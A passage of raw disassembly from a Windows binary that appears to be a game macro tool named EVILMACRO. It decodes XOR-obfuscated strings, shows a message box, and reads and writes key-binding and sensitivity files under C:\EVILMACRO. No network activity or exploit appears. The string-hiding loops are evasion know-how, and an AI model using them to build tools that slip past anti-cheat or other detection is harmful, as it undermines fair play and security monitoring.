je 0x140067e55
lea rcx, str.___.____0.0f__1.0f.___________CPU_GPU_.
call fcn.140013150
lea rdx, [rbp + 0xf4]
mov byte [rbp - 9], 0
lea rcx, [rbp - 9]
call fcn.14006fb50
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140067e8a
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor cl, 0x39
mov byte [rax + 5], cl
lea rdx, [0x14008a0c9]
mov rcx, rax
call fcn.14003aa90
cmp byte [0x14008a0c9], 1
jne 0x140067eb9
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x140067eb9
lea rcx, str.Hints
call fcn.140013150
lea rdx, [rbp + 0x50]
mov byte [rbp - 8], 0
lea rcx, [rbp - 8]
call fcn.14006fb70
movzx ecx, byte [rax + 2]
test cl, cl
je 0x140067edf
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor cl, 0x36
mov byte [rax + 2], cl
lea rdx, [0x14008ae2b]
mov rcx, rax
call fcn.14003aa90
cmp byte [0x14008a0c9], 1
jne 0x140067f0e
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x140067f0e
lea rcx, str.Russian_language
call fcn.140013150
lea rdx, [rbp + 0x54]
mov byte [rbp - 7], 0
lea rcx, [rbp - 7]
call fcn.14006fb90
movzx ecx, byte [rax + 2]
test cl, cl
je 0x140067f34
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor cl, 0x36
mov byte [rax + 2], cl
lea rdx, [0x14008a0c8]
mov rcx, rax
call fcn.14003aa90
cmp byte [0x14008a0c9], 1
jne 0x140067f63
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x140067f63
lea rcx, str.English_language
call fcn.140013150
call fcn.14000b700
mov eax, dword [0x14008a3d8]
cmp eax, 3
jne 0x14006aecd
call fcn.140057860
call fcn.14003afa0
cmp byte [0x14007ed77], 0
mov rax, qword [0x14007ed70]
mov qword [rbp + 0x2f8], rax
mov dword [rbp + 0x2f0], 0x438c0000
mov dword [rbp + 0x2f4], 0x43700000
je 0x1400680e4
cmp edi, 2
jl 0x140068098
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm7
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x2f8]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm10
xorps xmm2, xmm1
punpckhdq xmm0, xmm10
movd dword [rbp + 0x2f8], xmm2
movdqa xmm1, xmm10
pmuldq xmm0, xmm6
movdqa xmm2, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x2fc]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x2fc], xmm2
jmp 0x1400680e4
lea r9, [rbp + 0x2f8]
xor r8d, r8d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x1400680b0
mov rcx, qword [0x14008ae30]
lea rdx, [rbp + 0x2f8]
xor r8d, r8d
mov rax, qword [rcx + 0x1c20]
mov byte [rax + 0xc1], 1
mov rcx, qword [rcx + 0x1c20]
call fcn.140006240
mov edx, eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0x2f0]
lea rcx, [rbp + 0x2f8]
call fcn.14000b3c0
cmp byte [0x14007edbb], 0
movsd xmm0, qword [str.wZXQQ]
mov eax, dword [0x14007edb8]
movsd qword [rbp + 0x550], xmm0
mov qword [rbp + 0x300], 0
mov dword [rbp + 0x558], eax
je 0x140068294
xor r8d, r8d
cmp edi, 2
jl 0x140068252
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
movdqa xmm2, xmm10
punpckhdq xmm0, xmm7
mov r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.wZXQQ]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbp + 0x550], xmm1
movdqa xmm1, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x554]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x554], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x550]
add r9, rax
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140068260
xor r8d, r8d
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x550]
call fcn.140038d50
test al, al
je 0x140069645
lea rdx, [rbp + 0x700]
mov byte [rbp - 6], 0
lea rcx, [rbp - 6]
call fcn.14006fbb0
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x140068434
cmp edi, 2
jl 0x1400683ef
movdqa xmmword [rbp + 0x810], xmm11
xor edx, edx
mov r8d, dword [rbp + 0x810]
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x10
jl 0x140068300
jmp 0x140068434
mov r9, r10
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x140068400
mov r9d, 0x40
lea r8, str.INFO
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rdx, str.C:EVILMACRO_sensivity_1.txt
lea rcx, [rbp + 0x25e0]
call fcn.1400719a0
lea rdx, str.C:EVILMACRO_akbind.txt
lea rcx, [rbp + 0x2600]
call fcn.1400719a0
lea rdx, str.C:EVILMACROlrbind.txt
lea rcx, [rbp + 0x2620]
call fcn.1400719a0
lea rdx, str.C:EVILMACROmpbind.txt
lea rcx, [rbp + 0x2640]
call fcn.1400719a0
lea rdx, str.C:EVILMACROcsbind.txt
lea rcx, [rbp + 0x2660]
call fcn.1400719a0
lea rdx, str.C:EVILMACRO_tmbind.txt
lea rcx, [rbp + 0x2680]
call fcn.1400719a0
lea rdx, str.C:EVILMACRO_smbind.txt
lea rcx, [rbp + 0x26a0]
call fcn.1400719a0
lea rdx, str.C:EVILMACROm2bind.txt
lea rcx, [rbp + 0x26c0]
call fcn.1400719a0
lea rdx, str.C:EVILMACROptbind.txt
lea rcx, [rbp + 0x26e0]
call fcn.1400719a0
lea rdx, str.C:EVILMACROxxbind.txt
lea rcx, [rbp + 0x2700]
call fcn.1400719a0
lea rdx, str.C:EVILMACROyybind.txt
lea rcx, [rbp + 0x27e0]
call fcn.1400719a0
lea rdx, str.C:EVILMACROhhbind.txt
lea rcx, [rbp + 0x2720]
call fcn.1400719a0
lea rdx, str.C:EVILMACRO_ssbind.txt
lea rcx, [rbp + 0x2740]
call fcn.1400719a0
lea rdx, str.C:EVILMACRO_slbind.txt
lea rcx, [rbp + 0x2760]
call fcn.1400719a0
lea rdx, str.C:EVILMACROxcontrol_1.txt
lea rcx, [rbp + 0x2780]
call fcn.1400719a0
lea rdx, str.C:EVILMACROycontrol_1.txt
lea rcx, [rbp + 0x27a0]
call fcn.1400719a0
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x2420]
call fcn.14004d200
mov r9d, 0x40
mov dword [rsp + 0x20], 1
mov r8d, 1
lea rdx, [rbp + 0x25e0]
lea rcx, [rbp + 0x2420]
call fcn.140070780
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x2e80]
call fcn.14004d200
mov r9d, 0x40
mov dword [rsp + 0x20], 1
mov r8d, 1
lea rdx, [rbp + 0x2600]
lea rcx, [rbp + 0x2e80]
call fcn.140070780
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x2f90]
call fcn.14004d200
mov r9d, 0x40
mov dword [rsp + 0x20], 1
mov r8d, 1
lea rdx, [rbp + 0x2620]
lea rcx, [rbp + 0x2f90]
call fcn.140070780
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x30a0]
call fcn.14004d200
mov r9d, 0x40
mov dword [rsp + 0x20], 1
mov r8d, 1
lea rdx, [rbp + 0x2640]
lea rcx, [rbp + 0x30a0]
call fcn.140070780
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x31b0]
call fcn.14004d200
mov r9d, 0x40
mov dword [rsp + 0x20], 1
mov r8d, 1
lea rdx, [rbp + 0x2660]
lea rcx, [rbp + 0x31b0]
call fcn.140070780
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x32c0]
call fcn.14004d200
mov r9d, 0x40
mov dword [rsp + 0x20], 1
mov r8d, 1
lea rdx, [rbp + 0x2680]
lea rcx, [rbp + 0x32c0]
call fcn.140070780
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x33d0]
call fcn.14004d200
mov r9d, 0x40
mov dword [rsp + 0x20], 1
mov r8d, 1
lea rdx, [rbp + 0x26a0]
lea rcx, [rbp + 0x33d0]
call fcn.140070780
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x34e0]
call fcn.14004d200
mov r9d, 0x40
mov dword [rsp + 0x20], 1
mov r8d, 1
lea rdx, [rbp + 0x26c0]
lea rcx, [rbp + 0x34e0]
call fcn.140070780
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x35f0]
call fcn.14004d200
mov r9d, 0x40
mov dword [rsp + 0x20], 1
mov r8d, 1
lea rdx, [rbp + 0x26e0]
lea rcx, [rbp + 0x35f0]
call fcn.140070780
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x3700]
call fcn.14004d200
mov r9d, 0x40
mov dword [rsp + 0x20], 1
mov r8d, 1
lea rdx, [rbp + 0x2700]
lea rcx, [rbp + 0x3700]
call fcn.140070780
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x3810]
call fcn.14004d200
mov r9d, 0x40
mov dword [rsp + 0x20], 1
mov r8d, 1
lea rdx, [rbp + 0x27e0]
lea rcx, [rbp + 0x3810]
call fcn.140070780
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x3920]
call fcn.14004d200
mov r9d, 0x40
mov dword [rsp + 0x20], 1
mov r8d, 1
lea rdx, [rbp + 0x2720]
lea rcx, [rbp + 0x3920]
call fcn.140070780
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x3a30]
call fcn.14004d200
mov r9d, 0x40
mov dword [rsp + 0x20], 1
mov r8d, 1
lea rdx, [rbp + 0x2740]
lea rcx, [rbp + 0x3a30]
call fcn.140070780
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x2930]
call fcn.14004d200
mov r9d, 0x40
mov dword [rsp + 0x20], 1
mov r8d, 1
lea rdx, [rbp + 0x2760]
lea rcx, [rbp + 0x2930]
call fcn.140070780
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x3c50]
call fcn.14004d200
mov r9d, 0x40
mov dword [rsp + 0x20], 1
mov r8d, 1
lea rdx, [rbp + 0x2780]
lea rcx, [rbp + 0x3c50]
call fcn.140070780
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x3d60]
call fcn.14004d200
mov r9d, 0x40
mov dword [rsp + 0x20], 1
mov r8d, 1
lea rdx, [rbp + 0x27a0]
lea rcx, [rbp + 0x3d60]
call fcn.140070780
lea rcx, [rbp + 0x2420]
call fcn.140070770
test al, al
jne 0x14006892b
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_sensivity_1.txt
mov r8d, 2
lea rcx, [0x14008cf60]
call fcn.140071650
lea rcx, [rbp + 0x2e80]
call fcn.140070770
test al, al
jne 0x14006895a
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_akbind.txt
mov r8d, 2
lea rcx, [0x14008c6a0]
call fcn.140071650
lea rcx, [rbp + 0x2f90]
call fcn.140070770
test al, al
jne 0x140068989
mov r9d, 0x40
lea rdx, str.C:EVILMACROlrbind.txt
mov r8d, 2
lea rcx, [0x14008bec0]
call fcn.140071650
lea rcx, [rbp + 0x30a0]
call fcn.140070770
test al, al
jne 0x1400689b8
mov r9d, 0x40
lea rdx, str.C:EVILMACROmpbind.txt
mov r8d, 2
lea rcx, [0x14008c9e0]
call fcn.140071650
lea rcx, [rbp + 0x31b0]
call fcn.140070770
test al, al
jne 0x1400689e7
mov r9d, 0x40
lea rdx, str.C:EVILMACROcsbind.txt
mov r8d, 2
lea rcx, [0x14008afe0]
call fcn.140071650
lea rcx, [rbp + 0x32c0]
call fcn.140070770
test al, al
jne 0x140068a16
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_tmbind.txt
mov r8d, 2
lea rcx, [0x14008cd30]
call fcn.140071650
lea rcx, [rbp + 0x33d0]
call fcn.140070770
test al, al
jne 0x140068a45
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_smbind.txt
mov r8d, 2
lea rcx, [0x14008b860]
call fcn.140071650
lea rcx, [rbp + 0x34e0]
call fcn.140070770
test al, al
jne 0x140068a74
mov r9d, 0x40
lea rdx, str.C:EVILMACROm2bind.txt
mov r8d, 2
lea rcx, [0x14008b420]
call fcn.140071650
lea rcx, [rbp + 0x35f0]
call fcn.140070770
test al, al
jne 0x140068aa3
mov r9d, 0x40
lea rdx, str.C:EVILMACROptbind.txt
mov r8d, 2
lea rcx, [0x14008c8d0]
call fcn.140071650
lea rcx, [rbp + 0x3700]
call fcn.140070770
test al, al
jne 0x140068ad2
mov r9d, 0x40
lea rdx, str.C:EVILMACROxxbind.txt
mov r8d, 2
lea rcx, [0x14008b970]
call fcn.140071650
lea rcx, [rbp + 0x3810]
call fcn.140070770
test al, al
jne 0x140068b01
mov r9d, 0x40
lea rdx, str.C:EVILMACROyybind.txt
mov r8d, 2
lea rcx, [0x14008c300]
call fcn.140071650
lea rcx, [rbp + 0x3920]
call fcn.140070770
test al, al
jne 0x140068b30
mov r9d, 0x40
lea rdx, str.C:EVILMACROhhbind.txt
mov r8d, 2
lea rcx, [0x14008c7b0]
call fcn.140071650
lea rcx, [rbp + 0x3a30]
call fcn.140070770
test al, al
jne 0x140068b5f
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_ssbind.txt
mov r8d, 2
lea rcx, [0x14008ce40]
call fcn.140071650
lea rcx, [rbp + 0x2930]
call fcn.140070770
test al, al
jne 0x140068b8e
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_slbind.txt
mov r8d, 2
lea rcx, [0x14008c1f0]
call fcn.140071650
lea rcx, [rbp + 0x3c50]
call fcn.140070770
test al, al
jne 0x140068bbd
mov r9d, 0x40
lea rdx, str.C:EVILMACROxcontrol_1.txt
mov r8d, 2
lea rcx, [0x14008bdb0]
call fcn.140071650
lea rcx, [rbp + 0x3d60]
call fcn.140070770
test al, al
jne 0x140068bec
mov r9d, 0x40
lea rdx, str.C:EVILMACROycontrol_1.txt
mov r8d, 2
lea rcx, [0x14008bca0]
call fcn.140071650
mov rax, qword [rbp + 0x2420]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x2420]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
test al, al
je 0x140068dff
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_sensivity_1.txt
mov r8d, 2
lea rcx, [0x14008cf60]
call fcn.140071650
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_akbind.txt
mov r8d, 2
lea rcx, [0x14008c6a0]
call fcn.140071650
mov r9d, 0x40
lea rdx, str.C:EVILMACROlrbind.txt
mov r8d, 2
lea rcx, [0x14008bec0]
call fcn.140071650
mov r9d, 0x40
lea rdx, str.C:EVILMACROmpbind.txt
mov r8d, 2
lea rcx, [0x14008c9e0]
call fcn.140071650
mov r9d, 0x40
lea rdx, str.C:EVILMACROcsbind.txt
mov r8d, 2
lea rcx, [0x14008afe0]
call fcn.140071650
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_tmbind.txt
mov r8d, 2
lea rcx, [0x14008cd30]
call fcn.140071650
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_smbind.txt
mov r8d, 2
lea rcx, [0x14008b860]
call fcn.140071650
mov r9d, 0x40
lea rdx, str.C:EVILMACROm2bind.txt
mov r8d, 2
lea rcx, [0x14008b420]
call fcn.140071650
mov r9d, 0x40
lea rdx, str.C:EVILMACROptbind.txt
mov r8d, 2
lea rcx, [0x14008c8d0]
call fcn.140071650
mov r9d, 0x40
lea rdx, str.C:EVILMACROxxbind.txt
mov r8d, 2
lea rcx, [0x14008b970]
call fcn.140071650
mov r9d, 0x40
lea rdx, str.C:EVILMACROyybind.txt
mov r8d, 2
lea rcx, [0x14008c300]
call fcn.140071650
mov r9d, 0x40
lea rdx, str.C:EVILMACROhhbind.txt
mov r8d, 2
lea rcx, [0x14008c7b0]
call fcn.140071650
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_ssbind.txt
mov r8d, 2
lea rcx, [0x14008ce40]
call fcn.140071650
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_slbind.txt
mov r8d, 2
lea rcx, [0x14008c1f0]
call fcn.140071650
mov r9d, 0x40
lea rdx, str.C:EVILMACROxcontrol_1.txt
mov r8d, 2
lea rcx, [0x14008bdb0]
call fcn.140071650
mov r9d, 0x40
lea rdx, str.C:EVILMACROycontrol_1.txt
mov r8d, 2
lea rcx, [0x14008bca0]
call fcn.140071650
lea rcx, [rbp + 0x3d60]
call fcn.14004d210
lea rcx, [rbp + 0x3c50]
call fcn.14004d210
lea rcx, [rbp + 0x2930]
call fcn.14004d210
lea rcx, [rbp + 0x3a30]
call fcn.14004d210
lea rcx, [rbp + 0x3920]
call fcn.14004d210
lea rcx, [rbp + 0x3810]
call fcn.14004d210
lea rcx, [rbp + 0x3700]
call fcn.14004d210
lea rcx, [rbp + 0x35f0]
call fcn.14004d210
lea rcx, [rbp + 0x34e0]
call fcn.14004d210
lea rcx, [rbp + 0x33d0]
call fcn.14004d210
lea rcx, [rbp + 0x32c0]
call fcn.14004d210
lea rcx, [rbp + 0x31b0]
call fcn.14004d210
lea rcx, [rbp + 0x30a0]
call fcn.14004d210
lea rcx, [rbp + 0x2f90]
call fcn.14004d210
lea rcx, [rbp + 0x2e80]
call fcn.14004d210
lea rcx, [rbp + 0x2420]
call fcn.14004d210
lea rcx, [rbp + 0x27a0]
call fcn.140071940
lea rcx, [rbp + 0x2780]
call fcn.140071940
lea rcx, [rbp + 0x2760]
call fcn.140071940
lea rcx, [rbp + 0x2740]
call fcn.140071940
lea rcx, [rbp + 0x2720]
call fcn.140071940
lea rcx, [rbp + 0x27e0]
call fcn.140071940
lea rcx, [rbp + 0x2700]
call fcn.140071940
lea rcx, [rbp + 0x26e0]
call fcn.140071940
lea rcx, [rbp + 0x26c0]
call fcn.140071940
lea rcx, [rbp + 0x26a0]
call fcn.140071940
lea rcx, [rbp + 0x2680]
call fcn.140071940
lea rcx, [rbp + 0x2660]
call fcn.140071940
lea rcx, [rbp + 0x2640]
call fcn.140071940
lea rcx, [rbp + 0x2620]
call fcn.140071940
lea rcx, [rbp + 0x2600]
call fcn.140071940
lea rcx, [rbp + 0x25e0]
call fcn.140071940
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_sensivity_1.txt
mov r8d, 2
lea rcx, [0x14008cf60]
call fcn.140071650
lea rdx, [0x140077ab6]
lea rcx, [0x14008cf60]
call fcn.140071f30
lea rdx, [0x14004cfc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movss xmm1, dword [0x14008a310]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
mov rcx, rax
lea rdx, [0x140077da0]
call fcn.140071f30
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_akbind.txt
mov r8d, 2
lea rcx, [0x14008c6a0]
call fcn.140071650
lea rdx, [0x140077ab6]
lea rcx, [0x14008c6a0]
call fcn.140071f30
lea rdx, [0x14004cfc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x14008cae8]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140077da0]
call fcn.140071f30
mov r9d, 0x40
lea rdx, str.C:EVILMACROlrbind.txt
mov r8d, 2
lea rcx, [0x14008bec0]
call fcn.140071650
lea rdx, [0x140077ab6]
lea rcx, [0x14008bec0]
call fcn.140071f30
lea rdx, [0x14004cfc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x14008a324]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140077da0]
call fcn.140071f30
mov r9d, 0x40
lea rdx, str.C:EVILMACROmpbind.txt
mov r8d, 2
lea rcx, [0x14008c9e0]
call fcn.140071650
lea rdx, [0x140077ab6]
lea rcx, [0x14008c9e0]
call fcn.140071f30
lea rdx, [0x14004cfc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x14008a31c]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140077da0]
call fcn.140071f30
mov r9d, 0x40
lea rdx, str.C:EVILMACROcsbind.txt
mov r8d, 2
lea rcx, [0x14008afe0]
call fcn.140071650
lea rdx, [0x140077ab6]
lea rcx, [0x14008afe0]
call fcn.140071f30
lea rdx, [0x14004cfc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x14008a2ec]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140077da0]
call fcn.140071f30
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_tmbind.txt
mov r8d, 2
lea rcx, [0x14008cd30]
call fcn.140071650
lea rdx, [0x140077ab6]
lea rcx, [0x14008cd30]
call fcn.140071f30
lea rdx, [0x14004cfc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x14008a358]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140077da0]
call fcn.140071f30
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_smbind.txt
mov r8d, 2
lea rcx, [0x14008b860]
call fcn.140071650
lea rdx, [0x140077ab6]
lea rcx, [0x14008b860]
call fcn.140071f30
lea rdx, [0x14004cfc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [str.ebqa]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140077da0]
call fcn.140071f30
mov r9d, 0x40
lea rdx, str.C:EVILMACROm2bind.txt
mov r8d, 2
lea rcx, [0x14008b420]
call fcn.140071650
lea rdx, [0x140077ab6]
lea rcx, [0x14008b420]
call fcn.140071f30
lea rdx, [0x14004cfc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x14008a3e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140077da0]
call fcn.140071f30
mov r9d, 0x40
lea rdx, str.C:EVILMACROptbind.txt
mov r8d, 2
lea rcx, [0x14008c8d0]
call fcn.140071650
lea rdx, [0x140077ab6]
lea rcx, [0x14008c8d0]
call fcn.140071f30
lea rdx, [0x14004cfc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
